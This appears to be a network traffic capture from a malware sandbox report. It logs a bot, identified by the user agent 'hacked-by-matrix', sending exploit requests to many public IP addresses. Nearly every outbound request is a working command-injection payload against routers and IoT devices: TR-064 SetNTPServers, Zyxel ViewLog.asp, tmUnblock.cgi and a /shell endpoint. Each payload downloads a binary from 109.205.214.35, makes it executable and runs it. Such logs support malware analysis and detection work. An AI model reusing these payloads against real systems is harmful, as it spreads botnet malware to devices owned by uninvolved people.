Mar 21, 2024 05:23:42.735348940 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2032	192.168.2.13	35352	118.240.97.4	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:41.925642967 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:42.205817938 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2033	192.168.2.13	48164	178.33.209.41	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:42.597412109 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:43.121385098 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:43.282983065 CET	323	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 21 Mar 2024 04:23:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 37 32 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 c8 4a f4 61 86 ea 43 1d 04 00 cb e6 d9 01 99 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 72(HML),I310Q/Qp/K&T$dCAfAyyyzzJaC0
Mar 21, 2024 05:23:43.283039093 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Thu, 21 Mar 2024 04:23:43 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2034	192.168.2.13	53292	86.189.121.141	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:42.618714094 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:43.161648989 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:43.332627058 CET	269	IN	HTTP/1.1 400 Bad Request Server: EdgePrism/5.1.8.0 Mime-Version: 1.0 Date: Thu, 21 Mar 2024 04:23:43 GMT Content-Type: text/plain Expires: Thu, 21 Mar 2024 04:23:43 GMT X-LLID: ab7d73d38b0e9547f35a7b2564153767 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
2035	192.168.2.13	55788	213.139.38.14	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:42.653646946 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:43.792226076 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:45.132428885 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:47.884205103 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:48.103069067 CET	429	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 207 Expires: Thu, 21 Mar 2024 04:23:47 GMT Date: Thu, 21 Mar 2024 04:23:47 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 32 36 38 62 64 35 26 23 34 36 3b 31 37 31 30 39 39 35 30 32 37 26 23 34 36 3b 38 66 63 66 38 38 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.e268bd5.1710995027.8fcf885</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2036	192.168.2.13	58734	172.64.90.222	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:42.676022053 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:43.185740948 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2037	192.168.2.13	53022	23.50.218.163	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:42.774602890 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:43.088232994 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:23:42 GMT Date: Thu, 21 Mar 2024 04:23:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 33 36 61 38 33 30 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 30 32 32 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.36a83017.1710995022.0</BODY></HTML>
Mar 21, 2024 05:23:44.812381029 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:23:42 GMT Date: Thu, 21 Mar 2024 04:23:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 33 36 61 38 33 30 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 30 32 32 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.36a83017.1710995022.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2038	192.168.2.13	59190	98.168.117.9	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:42.821384907 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:42.951327085 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
2039	192.168.2.13	37160	172.67.129.220	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:42.908972979 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2040	192.168.2.13	52746	172.64.68.149	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:42.908998966 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2041	192.168.2.13	44406	172.67.75.42	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:42.909013033 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2042	192.168.2.13	40514	94.181.90.135	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:42.958856106 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:44.145507097 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:44.366266012 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 08:23:43 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
2043	192.168.2.13	40002	47.142.43.211	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:42.997241974 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:43.885565996 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:44.908773899 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2044	192.168.2.13	59094	23.206.177.175	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:43.700809002 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
